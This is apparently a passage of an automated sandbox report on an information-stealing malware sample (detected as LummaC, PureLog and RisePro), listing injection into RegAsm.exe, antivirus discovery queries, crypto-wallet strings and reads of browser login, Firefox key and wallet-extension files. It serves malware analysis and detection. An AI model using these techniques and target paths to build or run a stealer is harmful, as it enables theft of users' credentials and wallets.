Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 443000
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 456000
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: A0F008
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 440000
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 443000
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 456000
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: D0B008
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 440000
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 443000
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 456000
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 65C008
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe "C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe" Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe "C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe" Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe "C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process created: unknown unknown
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003F8175 cpuid 22_2_003F8175
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: GetLocaleInfoW, 22_2_003B11E5
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 22_2_003B130E
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: GetLocaleInfoW, 22_2_003AA3A6
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: GetLocaleInfoW, 22_2_003B1414
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 22_2_003B14E3
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: EnumSystemLocalesW, 22_2_003B0E21
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: EnumSystemLocalesW, 22_2_003B0E6C
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: EnumSystemLocalesW, 22_2_003A9EFC
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: EnumSystemLocalesW, 22_2_003B0F07
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 22_2_003B0F92
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: GetLocaleInfoW, 23_2_001311E5
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 23_2_0013130E
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: GetLocaleInfoW, 23_2_0012A3A6
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: GetLocaleInfoW, 23_2_00131414
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 23_2_001314E3
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: EnumSystemLocalesW, 23_2_00130E21
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: EnumSystemLocalesW, 23_2_00130E6C
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: EnumSystemLocalesW, 23_2_00129EFC
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: EnumSystemLocalesW, 23_2_00130F07
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 23_2_00130F92
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Queries volume information: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Queries volume information: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe VolumeInformation
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Queries volume information: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe VolumeInformation
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Queries volume information: C:\ProgramData\MPGPH1\MPGPH1.exe VolumeInformation
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Queries volume information: C:\ProgramData\MPGPH1\MPGPH1.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Queries volume information: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0039B80F GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 22_2_0039B80F
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: Amcache.hve.29.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.29.dr Binary or memory string: msmpeng.exe
Source: Amcache.hve.29.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: RegAsm.exe, 00000011.00000002.2647878541.0000000000CA4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000029.00000002.2786250344.0000000003149000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.29.dr Binary or memory string: MsMpEng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected LummaC Stealer
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Yara detected PureLog Stealer
Source: Yara match File source: 15.0.U8cABsPhZFkKRrQ4rE0N.exe.bb0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.637f940.11.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.6333a00.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.6339420.14.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.637f940.11.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.6333a00.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.637f940.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.637f940.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.6333a00.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.6333a00.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.634bfa0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000003.2277600314.000000000637F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2275260383.0000000006333000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2278188796.00000000068DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2275159782.0000000006301000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.2287643902.0000000000BB2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2275215754.0000000005E61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lumma2804[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\AdobeUpdaterV1_209ffc424b0966fd64861c7290d2a06a\AdobeUpdaterV1.exe, type: DROPPED
Source: Yara match File source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe, type: DROPPED
Yara detected RisePro Stealer
Source: Yara match File source: 00000000.00000003.2165765311.0000000005E90000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 3Q7v9y6Zw0a51Z43zHih.exe PID: 3336, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: MSIUpdaterV1.exe PID: 5224, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: MSIUpdaterV1.exe PID: 5344, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AdobeUpdaterV1.exe PID: 5568, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 796, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 6172, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 6244, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\RLhyDRs2UHaLI0bTHvNtryI.zip, type: DROPPED
Found many strings related to Crypto-Wallets (likely being stolen)
Source: RegAsm.exe, 00000011.00000002.2647878541.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/Electrum
Source: OJa1BOigU3.exe, 00000000.00000003.2161513422.0000000005DF4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Jaxx\Local Storages
Source: RegAsm.exe, 00000011.00000002.2647878541.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: OJa1BOigU3.exe, 00000000.00000003.2162887949.0000000005DF4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: OJa1BOigU3.exe, 00000000.00000003.2162887949.0000000005DF4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: RegAsm.exe, 00000028.00000002.2783994618.0000000001057000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\BinanceKQ
Source: RegAsm.exe, 00000011.00000002.2647878541.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Ethereum
Source: RegAsm.exe, 00000028.00000002.2783994618.0000000001057000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: RegAsm.exe, 00000011.00000002.2647878541.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Exodus\exodus.wallet\
Source: OJa1BOigU3.exe, 00000000.00000003.2277600314.000000000637F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: set_UseMachineKeyStore
Source: RegAsm.exe, 00000028.00000002.2783994618.0000000001057000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
